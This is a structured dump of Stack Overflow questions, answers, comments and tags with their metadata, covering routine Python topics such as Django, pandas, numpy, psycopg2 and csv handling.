has comment: http://stackoverflow.com/comment/80953256
has comment: http://stackoverflow.com/comment/80952282
type: Answer
has body: You have no fav_id in your template's context, so when the template renders the variable, it's rendering to ''. Change your url tag to {% url 'cityinfo:user_favorites' favourites.id %}

http://stackoverflow.com/a/47040622
downvote count: 0
upvote count: 1
has body: __file__ always returns the current file. dataReader = csv.reader(os.path.dirname(__file__) + "/data.csv")
accepted answer of: http://stackoverflow.com/q/47040070
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47040070
has comment: http://stackoverflow.com/comment/81078811
has comment: http://stackoverflow.com/comment/81031006
has comment: http://stackoverflow.com/comment/81053246
type: AcceptedAnswer

http://stackoverflow.com/comment/81077491
comment on: http://stackoverflow.com/q/47064278
has text: You guys have the eyes of eagles! I've been staring at random lines all day in the terminal and I didn't catch that. Thanks
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46998465
answers question: http://stackoverflow.com/q/46998199
score: 0
has comment: http://stackoverflow.com/comment/81013886
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46998199
type: Answer
has body: To make both classes have same number of elements by removing the ones with the highest probability from the majority class can be done as follows: Call your matrix D, then your result is R. _, (max_count, min_count) = np.unique(D[:, 4], return_counts=True) sort_cols = D[:, 4:] flipped_cols = np.flip(sort_cols.T, axis=0) S = D[np.lexsort(flipped_cols)] S[:max_count, :] = np.flip(S[:max_count, :], axis=0) R = S[min_count:, :] Explanation Get the majority and minority class sample counts This line relies on the assumption that majority class is labeled as 0 and minority as 1. Adjust this line to your needs. Get the columns to be used during sorting. flipped_cols will be used in np.lexsort. This is the important bit. This line sorts your data first with respect to the label column, and then with respect to the probability column. In the end, what you get is that in the upper part of your matrix you have the majority data, and in the lower part the minority data. These parts themselves are sorted with respect to the probability. Reverse the majority part rows since we need to remove the rows with the highest probability. You get min_count many majority rows and all the minority rows. In this way, your result matrix contains equal number of majority and minority samples. References https://docs.scipy.org/doc/numpy/reference/generated/numpy.unique.html https://docs.scipy.org/doc/numpy/reference/generated/numpy.lexsort.html#numpy.lexsort
has comment: http://stackoverflow.com/comment/80943769

http://stackoverflow.com/comment/80930879
type: Comment
has text: It means that the memory buffer on your machine cannot hold so much data. Waht's the shape of the Quora dataset?
comment on: http://stackoverflow.com/q/46991582
score: 0
type: QuestionComment

http://stackoverflow.com/comment/80805923
comment on: http://stackoverflow.com/q/46929420
score: 0
has text: Okay. Then, try: `df1.merge(df2, on='Ref')`. Seriously!
type: QuestionComment
type: Comment

http://stackoverflow.com/a/46933149
has comment: http://stackoverflow.com/comment/80813476
accepted answer of: http://stackoverflow.com/q/46932634
has comment: http://stackoverflow.com/comment/80813270
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46932634
has comment: http://stackoverflow.com/comment/80814337
has comment: http://stackoverflow.com/comment/80821886
has comment: http://stackoverflow.com/comment/80813680
has comment: http://stackoverflow.com/comment/80813812
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: The function in the key parameter of sorted is fetched with the elements of the list, therefore it accepts only one parameter. If you substitute: key = lambda lbl,sim: -sim with: key=lambda x: -x[1] It should work as you expect. Refer to the documentation for more explanation of how to use sorted and the key parameter.
has comment: http://stackoverflow.com/comment/80814266

http://stackoverflow.com/comment/80905983
type: Comment
has text: What does *`x` and `y` units away* mean? Two points can only have one distance. If you mean two distances along two distinct directions, then you need to define those directions. A normal alone is not enough (you could rotate arbitrarily about the normal).
score: 1
comment on: http://stackoverflow.com/q/46978948
type: QuestionComment

http://stackoverflow.com/q/47018695
upvote count: 10
has comment: http://stackoverflow.com/comment/89113519
downvote count: 1
has comment: http://stackoverflow.com/comment/89080606
tagged with: python
has comment: http://stackoverflow.com/comment/89152930
has answer: http://stackoverflow.com/a/51129561
favorite count: 0
score: 9
tagged with: python-3.x
has body: I'm developing a Flask API, and I have the following code to have a connection pool using Psycopg2. I wonder should I consider to close the connection pool when the program terminates and how should I do this? @contextmanager def get_cursor(: global connection_pool if not cls.connection_pool: cls.connection_pool = ThreadedConnectionPool(5, 25, dsn=PoolingWrap.generate_conn_string()) con = cls.connection_pool.getconn() try: yield con.cursor(cursor_factory=RealDictCursor) finally: cls.connection_pool.putconn(con)
has title: psycopg2 close connection pool
has comment: http://stackoverflow.com/comment/89087158
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/89456807
has comment: http://stackoverflow.com/comment/93468978
answer count: 1
tagged with: psycopg2
tagged with: flask
type: Question
has comment: http://stackoverflow.com/comment/89173508
has comment: http://stackoverflow.com/comment/89151798

http://stackoverflow.com/q/47056760
has answer: http://stackoverflow.com/a/47057268
favorite count: 0
has title: ProgrammingError at "url" relation "app_model" does not exist LINE 1: SELECT COUNT(*) AS "__count" FROM "app_model"
has comment: http://stackoverflow.com/comment/81060775
has comment: http://stackoverflow.com/comment/81060637
has comment: http://stackoverflow.com/comment/92066150
has answer: http://stackoverflow.com/a/65945172
has comment: http://stackoverflow.com/comment/81060726
type: Question
has comment: http://stackoverflow.com/comment/81060941
tagged with: python
type: UnansweredQuestion
tagged with: makemigrations
tagged with: migrate
has comment: http://stackoverflow.com/comment/81060980
score: 6
upvote count: 6
has body: I've searched every Stack Overflow question on this error but none of the responses helped. I'm getting this error when trying to access the admin page of this particular model (AgentBasicInfo). 'manage.py makemigrations' works fine. 'manage.py migrate' also works fine. 'manage.py runserver' works fine, the whole website works fine until I try to go onto the admin page of this model. The app is correctly installed in INSTALLED_APPS in settings.py. I am using Postgres for the database. I have tried... Deleting migrations and re-running makemigrations/migrate Deleting the entire migrations folder for this app and rerunning makemigrations/migrate Deleting all the migrations from all my apps and re-running makemigrations/migrate I have tried running 'manage.py migrate' and 'mangae.py migrate app_name'. I still get the same error. This model (see code below) is quite basic. I have several other models in my project and they work just fine in the admin, but just this particular model doesn't work. models.py class AgentBasicInfo(models.Model): preferred_email = models.EmailField() office_phone_number = models.IntegerField() brokerage_of_agent = models.CharField(max_length=50) agent_title = models.CharField(max_length=20) def __str__(self): return self.preferred_email settings.py DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql', 'NAME': 'postgres', 'USER': 'postgres', 'PASSWORD': 'lagger123', 'HOST': '127.0.0.1', 'PORT': '5432', } } 0001_initial.py from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='AgentBasicInfo', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('preferred_email', models.EmailField(max_length=254)), ('office_phone_number', models.IntegerField()), ('brokerage_of_agent', models.CharField(max_length=50)), ('agent_title', models.CharFie…
has comment: http://stackoverflow.com/comment/81061539
has comment: http://stackoverflow.com/comment/81061510
has comment: http://stackoverflow.com/comment/92066187
answer count: 2
has comment: http://stackoverflow.com/comment/81061075
has comment: http://stackoverflow.com/comment/81060857
downvote count: 0
tagged with: django

http://stackoverflow.com/a/47060182
upvote count: 1
answers question: http://stackoverflow.com/q/47059444
score: 1
type: Answer
has body: Thank you to @pm-2ring (see comments), the solution: timestr = time.strftime("%Y%m%d_%H%M%S") (timestr + "_md5_filelist.csv", "a") in the script: try: timestr = time.strftime("%Y%m%d_%H%M%S") my_last_data = get_md5(file_full_path) + ", " + get_last_write_time(file_full_path) + ", " + get_size( file_full_path) + ", " + file_full_path + "\n" with open(timestr + "_md5_filelist.csv", "a") as my_save_file: my_save_file.write(my_last_data) print(str(file_full_path) + " ||| Done") except: print("Error On " + str(file_full_path))
accepted answer of: http://stackoverflow.com/q/47059444
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/46938707
downvote count: 0
has body: There are a lot of ways to reach the desired element. Strictly speaking, we should know the context you are working in - the complete HTML of the page and how unique the element attributes and structures are. That said, here is one way to get to the desired text using a CSS selector based on classes of the span elements along the way to the a: soup.select_one(".qtyTxt .vi-qtyS &gt; a").get_text() If the link itself would always point to ebay, you may additionally check that in the selector: soup.select_one(".qtyTxt .vi-qtyS &gt; a[href*=ebay]").get_text()
accepted answer of: http://stackoverflow.com/q/46938207
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/46938207
type: AcceptedAnswer

http://stackoverflow.com/q/46982810
has answer: http://stackoverflow.com/a/46984348
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/46983402
has comment: http://stackoverflow.com/comment/80914245
tagged with: python
possible better answer: http://stackoverflow.com/a/46984348
tagged with: dictionary
has body: I am trying to add a suffix to the dataframes called on by a dictionary. Here is a sample code below: import pandas as pd import numpy as np from collections import OrderedDict from itertools import chain # defining stuff num_periods_1 = 11 num_periods_2 = 4 num_periods_3 = 5 # create sample time series dates1 = pd.date_range('1/1/2000 00:00:00', periods=num_periods_1, freq='10min') dates2 = pd.date_range('1/1/2000 01:30:00', periods=num_periods_2, freq='10min') dates3 = pd.date_range('1/1/2000 02:00:00', periods=num_periods_3, freq='10min') # column_names = ['WS Avg','WS Max','WS Min','WS Dev','WD Avg'] # column_names = ['A','B','C','D','E'] column_names_1 = ['C', 'B', 'A'] column_names_2 = ['B', 'C', 'D'] column_names_3 = ['E', 'B', 'C'] df1 = pd.DataFrame(np.random.randn(num_periods_1, len(column_names_1)), index=dates1, columns=column_names_1) df2 = pd.DataFrame(np.random.randn(num_periods_2, len(column_names_2)), index=dates2, columns=column_names_2) df3 = pd.DataFrame(np.random.randn(num_periods_3, len(column_names_3)), index=dates3, columns=column_names_3) sep0 = '&lt;~&gt;' suf1 = '_1' suf2 = '_2' suf3 = '_3' ddict = {'df1': df1, 'df2': df2, 'df3': df3} frames_to_concat = {'Sheets': ['df1', 'df3']} Suffs = {'Suffixes': ['Suffix 1', 'Suffix 2', 'Suffix 3']} Suff = {'Suffix 1': suf1, 'Suffix 2': suf2, 'Suffix 3': suf3} ## appply suffix to each data frame selected in order HERE # Suffdict = [Suff[x] for x in Suffs['Suffixes']] # print(Suffdict) df4 = pd.concat([ddict[x] for x in frames_to_concat['Sheets']], axis=1, join='outer') I want to add a suffix to each dataframe so that they can be distinguished when the dataframes are concatenated. I am having some trouble calling them and then applying them to each dataframe. So I have called for df1 and df3 to be concatenated and I would like only suffix 1 to be applied to df1 and suffix 2 to be applied to df3. Order does not matter for the data frame suffix if df2 and df3 were called suffix 1 would be applied to df2 …
type: AnsweredQuestion
score: 0
tagged with: list
answer count: 2
has title: Add a suffix to a dataframe called from a dictionary
tagged with: pandas
has comment: http://stackoverflow.com/comment/80914164
has answer: http://stackoverflow.com/a/46983402
has comment: http://stackoverflow.com/comment/80914212

http://stackoverflow.com/comment/80945449
type: Comment
type: AnswerComment
has text: Thanks so much @maik-s , This all looks absulutely perfect, and I cant wait to implement and post my updated code, But I am new, and slightly confused at the concept of bitvalues. Would you mind explaining to me what you did there? I mean how you get 3 and 11.
comment on: http://stackoverflow.com/a/46999353
score: 0

http://stackoverflow.com/comment/80934840
score: 0
comment on: http://stackoverflow.com/q/46944938
type: Comment
type: QuestionComment
has text: Those images make the problem much clearer, thanks! It does seem as though you can fix that using morphological operators, though?

http://stackoverflow.com/a/46977182
has body: According to dicttoxml documentation: Define Custom Item Names Starting in version 1.7, if you don’t want item elements in a list to be called ‘item’, you can specify the element name using a function that takes the parent element name (i.e. the list name) as an argument. >>> import dicttoxml >>> obj = {u'mylist': [u'foo', u'bar', u'baz'], u'mydict': {u'foo': u'bar', u'baz': 1}, u'ok': True} >>> my_item_func = lambda x: 'list_item' >>> xml = dicttoxml.dicttoxml(obj, item_func=my_item_func) >>> print(xml) <?xml version="1.0" encoding="UTF-8"?> bar 1 <list_item type="str">foo</list_item> <list_item type="str">bar</list_item> <list_item type="str">baz</list_item> True
score: 2
type: Answer
answers question: http://stackoverflow.com/q/46976956
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/46997855
type: Question
has body: I am trying to break a for loop that checks reads lines in another module. I notice that this function runs through every line of code in the module, but it only returns the boolean for the last line... how can I stop the loop as soon as it sees a false WITHOUT USING the break function? You don't have to worry about opening the file, I am capable of doing that read_lines = file_handle.readlines() for next_line in all_lines: check = next_line[0] if (check == ' '): result = False else: result = True return result
has answer: http://stackoverflow.com/a/46997938
has title: Breaking a for loop in python?
possible better answer: http://stackoverflow.com/a/46997882
has comment: http://stackoverflow.com/comment/80942330
tagged with: python
has comment: http://stackoverflow.com/comment/80942253
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/80942334
has comment: http://stackoverflow.com/comment/80942317
has answer: http://stackoverflow.com/a/46997882
score: 0
tagged with: loops
upvote count: 1
has comment: http://stackoverflow.com/comment/80942375
accepted answer: http://stackoverflow.com/a/46997938
downvote count: 1
favorite count: 0

http://stackoverflow.com/a/46972631
answers question: http://stackoverflow.com/q/46972630
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46972630
upvote count: 1
score: 1
type: Answer
has body: Building the list then dumping it into the CSV in its entirety could arguably be called bad practice. What if your program needs to output many rows but falls over half way through? Only outputting at the end would lead to loss of data. This method is also more computationally intensive, as dumping a huge list is quite some task, so it takes longer to execute. The better method is to output each row as it is ready. Try this on for size; import csv print("Started") for_max = 256 with open('spectrum.csv', 'w', newline='') as csvfile: writer = csv.writer(csvfile) out_list = [] head = ["R", "G", "B", "Hex"] writer.writerow(head) for r in range(0, for_max): for g in range(0, for_max): for b in range(0, for_max): r_hex = format(r, '02x') g_hex = format(g, '02x') b_hex = format(b, '02x') hex_string = str("#") + str(r_hex) + str(g_hex) + str(b_hex) out_list = [format(r, '03'), format(g, '03'), format(b, '03'), hex_string] writer.writerow(out_list) print("Finished") An added joy of this method is that you get to watch the output filesize steadily increase!

http://stackoverflow.com/a/61923048
has body: Unfortunately none of the previous answers work for me. IMHO it was very stupid pip / distutils chose to break packages on http repos. I think a better choice would have been: pip/distutils use https by default in case of error, like 403, pip has to suggest you "the package repo is on http, do you want to download it?" Still in 2020 many Python 2 packages are on http repos; with their decision, the installation of these packages is broken. The working solution for me is a very simple patch of one python core modules: --- /usr/local/lib/python2.7/urllib2.py.original +++ /usr/local/lib/python2.7/urllib2.py @@ -427,6 +427,9 @@ req = meth(req) response = self._open(req, data) + if protocol == "http" and response.code == 403 : + if isinstance(fullurl, basestring) and fullurl.startswith("http://pypi.python.org/packages/source/d/distribute/") : + return self.open(fullurl.replace("http://", "https://"), data = data, timeout = timeout) # post-process response meth_name = protocol+"_response" Working: if the failed url is on http, retry on https. I know it is a little ugly, but it is very clear and also you can revert to the original module in a snap (make a copy of /usr/local/lib/python2.7/urllib2.py before to apply this patch).
answers question: http://stackoverflow.com/q/46967488
has comment: http://stackoverflow.com/comment/138558063
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/112033017
score: 3
type: Answer

http://stackoverflow.com/comment/81092213
has text: Yeah, familiar with that feature, but "and there a lot [sic] of models which should include this `__bind_key__`" sounds like a perfect use case for making that the default bind, and the ones that need to use other binds then define what ever bind they need. Unless you'll not be basing all of your models on `Base`, which of course would invalidate what I just said.
comment on: http://stackoverflow.com/q/47048473
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80847895
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/46950347
has text: This is probably better suited for [CodeReview](https://codereview.stackexchange.com)
score: 1

http://stackoverflow.com/q/46975087
has body: i have 2 excel files with existing values, i need to compare these values and show their status (Pass/Fail) , these values are sometimes approximate to each other, for e.g. 4.7 &amp; 5 or 7 &amp; 7.3. How do i add tolerance so that close proximity test case does not Fail. Excel 1: 2.3, 4.3, 10.1, 22.2 Excel 2: 2, 4, 10, 22 Is there any way so that i can add a range within so that i can compare for approximate values?
answer count: 1
downvote count: 1
favorite count: 0
has title: Python: How to do approximate comparison or add certain level of tolerance in a value for comparison
type: Question
type: UnansweredQuestion
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/46975803
tagged with: excel
upvote count: 0

lambda
tags question: http://stackoverflow.com/q/47005713
tags question: http://stackoverflow.com/q/47021836
tags question: http://stackoverflow.com/q/46921406
tags question: http://stackoverflow.com/q/47036224
type: Tag
tags question: http://stackoverflow.com/q/47063972
tags question: http://stackoverflow.com/q/47014617
tags question: http://stackoverflow.com/q/46931237
tags question: http://stackoverflow.com/q/46965665
tags question: http://stackoverflow.com/q/46943617
tags question: http://stackoverflow.com/q/46958585
tags question: http://stackoverflow.com/q/46918299
tag name: lambda
tags question: http://stackoverflow.com/q/46932634
tags question: http://stackoverflow.com/q/46958848

http://stackoverflow.com/a/46929512
type: Answer
answers question: http://stackoverflow.com/q/46929256
downvote count: 0
score: 1
upvote count: 1
has body: You can In [5868]: pd.DataFrame(percentages.values * moneys.values[:, np.newaxis], columns=percentages.columns, index=moneys.index) Out[5868]: franchino franco gianmarco a 0.5 0.1 0.4 b 1.5 0.3 1.2 c 5.0 1.0 4.0 d 4.5 0.9 3.6 e 3.5 0.7 2.8 Details In [5869]: percentages.values * moneys.values[:, np.newaxis] Out[5869]: array([[ 0.5, 0.1, 0.4], [ 1.5, 0.3, 1.2], [ 5. , 1. , 4. ], [ 4.5, 0.9, 3.6], [ 3.5, 0.7, 2.8]])

http://stackoverflow.com/a/47045882
answers question: http://stackoverflow.com/q/47045692
downvote count: 0
upvote count: 1
score: 1
has body: Everything depends on how the csv file looks like. But even if it has column names ra, tum, dec, mor 1, 2, 3, 5 2, 4, 5, 3 2, 1, 4, 3 you can still read it in using usecols=[0,2]. The documentation states: usecols : sequence, optional Which columns to read, with 0 being the first. For example, usecols = (1, 4, 5) will extract the 2nd, 5th and 6th columns. Hence you cannot use strings as columns, but integer numbers instead. u = u"""ra, tum, dec, mor 1, 2, 3, 5 2, 4, 5, 3 2, 1, 4, 3""" import io import matplotlib.pyplot as plt from numpy import genfromtxt my_data = genfromtxt(io.StringIO(u), delimiter = ', ', usecols=[0,2]) plt.plot(my_data, 'o') plt.show()
type: Answer

http://stackoverflow.com/comment/80935335
type: Comment
comment on: http://stackoverflow.com/q/46994426
type: QuestionComment
score: 1
has text: Your example works just fine. What do you mean by "doesn't work"?

http://stackoverflow.com/q/46943975
type: UnansweredQuestion
tagged with: python
tagged with: plot
has answer: http://stackoverflow.com/a/51124342
has body: I'm new to plotly and I have some tasks with start=int and finish=int (in abstract time units). But x axis is in date format as default. I want to set x axis in number format(0,1,2...) Here is my code: df=list(df.values()) pprint(df) colors = ['#ff1919', '#0000ff'] fig = ff.create_gantt(df, colors=colors, index_col='Resource', reverse_colors=True, show_colorbar=True) py.plot(fig, filename='gantt-string-variable', world_readable=True) df looks like: df=[{'Finish': 5, 'Resource': 'Red', 'Start': 0, 'Task': 'task1'}, {'Finish': 13, 'Resource': 'Red', 'Start': 5, 'Task': 'task2'}, {'Finish': 8, 'Resource': 'Blue', 'Start': 5, 'Task': 'task3'}, {'Finish': 11, 'Resource': 'Blue', 'Start': 5, 'Task': 'task4'}, {'Finish': 20, 'Resource': 'Red', 'Start': 13, 'Task': 'task5'}, {'Finish': 19, 'Resource': 'Blue', 'Start': 13, 'Task': 'task6'}, {'Finish': 24, 'Resource': 'Red', 'Start': 20, 'Task': 'task7'}] any advice!
tagged with: plotly
score: 1
answer count: 1
downvote count: 0
has title: Set x axis to plotly Gantt chart
upvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/comment/122024156
type: AnswerComment
has text: which python version is it ?
type: Comment
comment on: http://stackoverflow.com/a/46921037
score: 0

http://stackoverflow.com/comment/82561384
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47007761
has text: Isn't [] == False? So couldn't you just `args and ...`?

http://stackoverflow.com/a/46939785
score: 0
answers question: http://stackoverflow.com/q/46939260
type: Answer
has body: print("the previous high score was", userHigh) Of course you are getting always '0', because you aren't storing the value on the variable userHigh. When you run the function gFile.read(), you have to store the value on the userHigh var, like this: userHigh = gFile.read() If you don't do that, you are just executing the function. Also I must add that the program isn't storing the high score, is just storing whatever score. For storing only the high score you must do this: if userHigh &lt; guesses: gFile = open("score.txt", w) gFile.write(str(guesses)) gFile.close()

http://stackoverflow.com/comment/80986001
type: AnswerComment
comment on: http://stackoverflow.com/a/47013283
score: 1
type: Comment
has text: The first one is easy to fix as well :-). Oh and btw your text says `i ** 2` instead of `2 ** i`.

http://stackoverflow.com/q/46944747
tagged with: python
linked to: http://stackoverflow.com/q/13084619
possible better answer: http://stackoverflow.com/a/46944846
type: AnsweredQuestion
has title: how to select nth element of array in a tuple?
answer count: 2
has comment: http://stackoverflow.com/comment/80837106
has comment: http://stackoverflow.com/comment/80837363
has comment: http://stackoverflow.com/comment/80836879
has answer: http://stackoverflow.com/a/46944846
duplicate of: http://stackoverflow.com/q/13084619
downvote count: 0
upvote count: 1
score: 1
favorite count: 0
type: Question
tagged with: numpy
has body: I have a tuple like this: (array([0, 0, 0]), array([0, 1, 2])) I would like to select the first element of each array in this tuple and want to achieve this result: [0,0] or [0,1] or [0,2] How can I do this? Actually, this tuple is obtained from a function in numpy.where what I do is like this: import numpy as np x=np.array([[1,2,3],[4,5,6],[7,8,9]]) xi=np.where(x&lt;4) any suggestion?
has comment: http://stackoverflow.com/comment/80837025
accepted answer: http://stackoverflow.com/a/46944844
has answer: http://stackoverflow.com/a/46944844
has comment: http://stackoverflow.com/comment/80837392
has comment: http://stackoverflow.com/comment/80837368

http://stackoverflow.com/comment/80966537
type: QuestionComment
comment on: http://stackoverflow.com/q/46969118
score: 0
has text: that is a different question
type: Comment

http://stackoverflow.com/q/47013605
favorite count: 0
type: Question
upvote count: 2
has title: "instance has no attribute 'iter'" not working from command line
type: UnansweredQuestion
tagged with: python
tagged with: http://stackoverflow.com/tag/xml
score: 2
has answer: http://stackoverflow.com/a/47013638
has body: I recently started editing XML's using Python and I am still finding it quite tricky... Now I finished my script and tested it first manually. It worked. Then I tried to run the script entirely but received an error that didn't occur before. I provided a minimal example here: import glob import os import sys import xml.etree.ElementTree as ET curgraph = "somefolder/somefolder/editedGraphPath_full.xml" tree = ET.parse(curgraph) root = tree.getroot() i=0 for file in root.iter('file'): i = i+1 print i If I run this line by line within Python everything is working just fine. However, if I run it over cmd line, I get this error: Traceback (most recent call last): File "/somefolder/somefolder/test.py", line 12, in &lt;module&gt; for file in root.iter('file'): AttributeError: _ElementInterface instance has no attribute 'iter' I tried to use some the related questions an SO but I didn't find anything helpful yet.
downvote count: 0
answer count: 1
tagged with: elementtree

http://stackoverflow.com/comment/80781785
comment on: http://stackoverflow.com/a/46916804
score: 0
type: AnswerComment
has text: @jphollowed Wow with such a large `x`, you might not get to create all the indices as proposed in this post. But, give it a try I guess if you have enough system memory.
type: Comment

http://stackoverflow.com/comment/80816676
has text: @crazyGamer thanks, ill have a look.
comment on: http://stackoverflow.com/q/46934316
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81033888
type: QuestionComment
score: 3
comment on: http://stackoverflow.com/q/47018804
type: Comment
has text: Try adding `ghostscript` to the `addons > apt > packages`

http://stackoverflow.com/a/46974635
type: Answer
has body: As you want : taking the item that comes before the match One line solution : print([(list1[index-1],item) for index,item in enumerate(list1) for item1 in list2 if item==item1[1]]) output: [('ARHEL 7 FY2017 64-bit', '7.2'), ('BRHEL 7 FY2017 64-bit', '7.3')] Detailed solution: list_3=[] for index,item in enumerate(list1): for item1 in list2: if item==item1[1]: list_3.append((list1[index-1],item)) print(list_3) output: [('ARHEL 7 FY2017 64-bit', '7.2'), ('BRHEL 7 FY2017 64-bit', '7.3')]
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46974277
answers question: http://stackoverflow.com/q/46974277
score: 0

http://stackoverflow.com/q/47047250
type: UnansweredQuestion
downvote count: 0
has title: Tensorflow: Reinforcement learning with variable character level text input?
has body: Taking into consideration a reinforcement learning context whereby the Tensorflow agent will take a "step" in the environment for each observation that is received. How would one most effectively accommodate an observation of variable lengths, for instance when an observation exceeds a 1024 placeholder limit (i.e. 10000 char long Wikipedia article) noting that placeholders are immutable and can't be dynamically changed during computation: self.obs = tf.placeholder(tf.float32, shape=(None,1024), name='obs') I am familiar with the padding method whereby a maximum line length is specified and the chars not occupied are filled in with a placeholder. However, this method seems ineffective when processing inputs with varying lengths between 100 chars and 10000 chars, whereby the shape of the placeholder would have to be (None, 10000) even when processing inputs that are only 100 chars in length effectively using 9900 placeholder chars and a large EXPENSIVE amount of memory and computation that is effectively useless, compounded even more so in a reinforcement learning context whereby millions of steps are being taken in order to learn an effective policy. I'm aware of the word embedding method. However, there are a multitude of issues with this method which include but are not limited to: Lack of detail and by extension performance, lack of punctuation understanding and other character and logic representations as in a mathematical formula.etc How could one effectively structure an input flow whereby a varying input size can effectively be consumed by a Tensorflow agent in a manner that avoids the aforementioned problems?
tagged with: tensorflow
favorite count: 0
type: Question
score: 3
tagged with: reinforcement-learning
tagged with: python
tagged with: nlp
answer count: 0
upvote count: 3

http://stackoverflow.com/a/47049333
has body: By default, OpenCV reads colored images with BGR channel order. So frame[:, :, 0] is B, frame[:, :, 1] is G and frame[:, :, 2] is R.
downvote count: 0
type: Answer
score: 5
upvote count: 5
accepted answer of: http://stackoverflow.com/q/47049234
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47049234

http://stackoverflow.com/comment/80886615
comment on: http://stackoverflow.com/a/46969242
has text: the first line worked for me. thanks for the help
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/80878017
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46964932
has text: @ThomasErnste Hm. Try `final_keys_list.append(tuple(tweets_by_key))` Also, the `series_key_values = ...` should go after the loop ends.
score: 1

http://stackoverflow.com/q/46990452
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46998580
accepted answer: http://stackoverflow.com/a/46998580
answer count: 2
has answer: http://stackoverflow.com/a/46990550
possible better answer: http://stackoverflow.com/a/46990550
score: -2
tagged with: python
tagged with: conda
tagged with: opencv
type: AnsweredQuestion
upvote count: 0
downvote count: 2
has body: I was trying to install open cv2 on my anaconda its giving me error any one please help me my package details are as following: platform : win-64 conda version : 4.3.14 conda is private : False conda-env version : 4.3.14 conda-build version : not installed python version : 3.6.0.final.0 requests version : 2.12.4 root environment :
has title: unable to install open cv on conda

http://stackoverflow.com/comment/81043475
score: 0
comment on: http://stackoverflow.com/q/47018730
has text: Maybe waiting for "exist" makes sense for WindowSpec only. It simplifies internal implementation, but requires some architectural changes. I'd plan it for next major release 0.7.0. Will post a workaround a bit later. Typing from phone...
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81073842
score: 0
has text: Check out this answer: https://stackoverflow.com/questions/10303797/print-floating-point-values-without-leading-zero
comment on: http://stackoverflow.com/q/47062354
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/80866848
score: 2
comment on: http://stackoverflow.com/q/46959492
has text: Yeah going off of what utengr said, there's not really a more efficient way to do it. You're going to have to look at every word anyway. Only thing that you could do to make it more efficient is not actually construct the list and use a generator. Just change your `[]`s to `()` as in: `(word for word in blob.words if word not in stopwords.words('english'))`. You'll never be able to access the list again after you use it but you join it right away anyway.
type: Comment
type: QuestionComment

cumulative-sum
tags question: http://stackoverflow.com/q/46914960
tags question: http://stackoverflow.com/q/47026625
tag name: cumulative-sum
tags question: http://stackoverflow.com/q/46976249
type: Tag

http://stackoverflow.com/comment/81048447
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47050754
score: 0
has text: sequence should be continuous?

http://stackoverflow.com/comment/80914117
score: 0
comment on: http://stackoverflow.com/q/46983259
type: Comment
type: QuestionComment
has text: In other words, it is trivial to cause the main script to be run twice, but you do have to show more of your code for me to point out where you did so.

http://stackoverflow.com/comment/80836338
comment on: http://stackoverflow.com/a/46944412
type: Comment
score: 0
type: AnswerComment
has text: Is there another way to iterate this without using key=lambda ?

http://stackoverflow.com/q/46964399
has body: I have a multiprocessing.manager.BaseManager implementation where the shared resource is a class which returns DataFrames for various pieces of data. The issue I'm having is that, since pandas is not thread-safe, the processes are sharing instances of the data they're manipulating. This is causing Python to crash on me. What I've tried doing is over-riding the MakeProxyType method (see: https://github.com/python/cpython/blob/8c83c23fa32405aa9212f028d234f4129d105a23/Lib/multiprocessing/managers.py#L938) in the multiprocessing managers class to do this: for meth in exposed: if meth.startswith("load"): exec('''def %s(self, *args, **kwds): return self._callmethod(%r, args, kwds).copy()''' % (meth, meth), dic) else: exec('''def %s(self, *args, **kwds): return self._callmethod(%r, args, kwds)''' % (meth, meth), dic) However, it's not actually giving me copies of the data. When I look at the output variables I'm seeing some are sharing the same memory addresses (denoted by having the same # of asterisks by them): Thread 1: 0xa225630 *** Thread 2: 0xa245518 * Thread 3: 0xa225518 * Thread 4: 0xa225518 * Thread 5: 0xa2284a8 Thread 6: 0xa225550 ** Thread 7: 0xa245550 ** Thread 8: 0xa245630 Thread 9: 0xa225630 *** Which is then causing an issue when I try to manipulate the data with pandas inside the processes. Can anyone help me out here? Any ideas on how to force the multiprocessing manager to give me unique instances of these DataFrames so that I can avoid crashing python? The multiprocessing manager seems like a really great class - but the documentation on it is pretty thin.
tagged with: multiprocessing
type: Question
type: UnansweredQuestion
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/47018539
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/80900832
tagged with: pandas
has title: Python Pandas shared DataFrames across Multiprocessing Managers
score: 1
tagged with: dataframe
tagged with: python

http://stackoverflow.com/a/46918100
type: Answer
has comment: http://stackoverflow.com/comment/80783873
has body: I see several problems in the code as posted: There's a .lower call missing parentheses (note that 'xyz'.lower without parens will always evaluate as True) print(plainText) needs to be indented The elif branch needs to be outdented to line up with if branch it goes with code = code doesn't do anything The plainText variable shouldn't be reused; instead you should use a new variable such as decodedText
has comment: http://stackoverflow.com/comment/80783733
answers question: http://stackoverflow.com/q/46917755
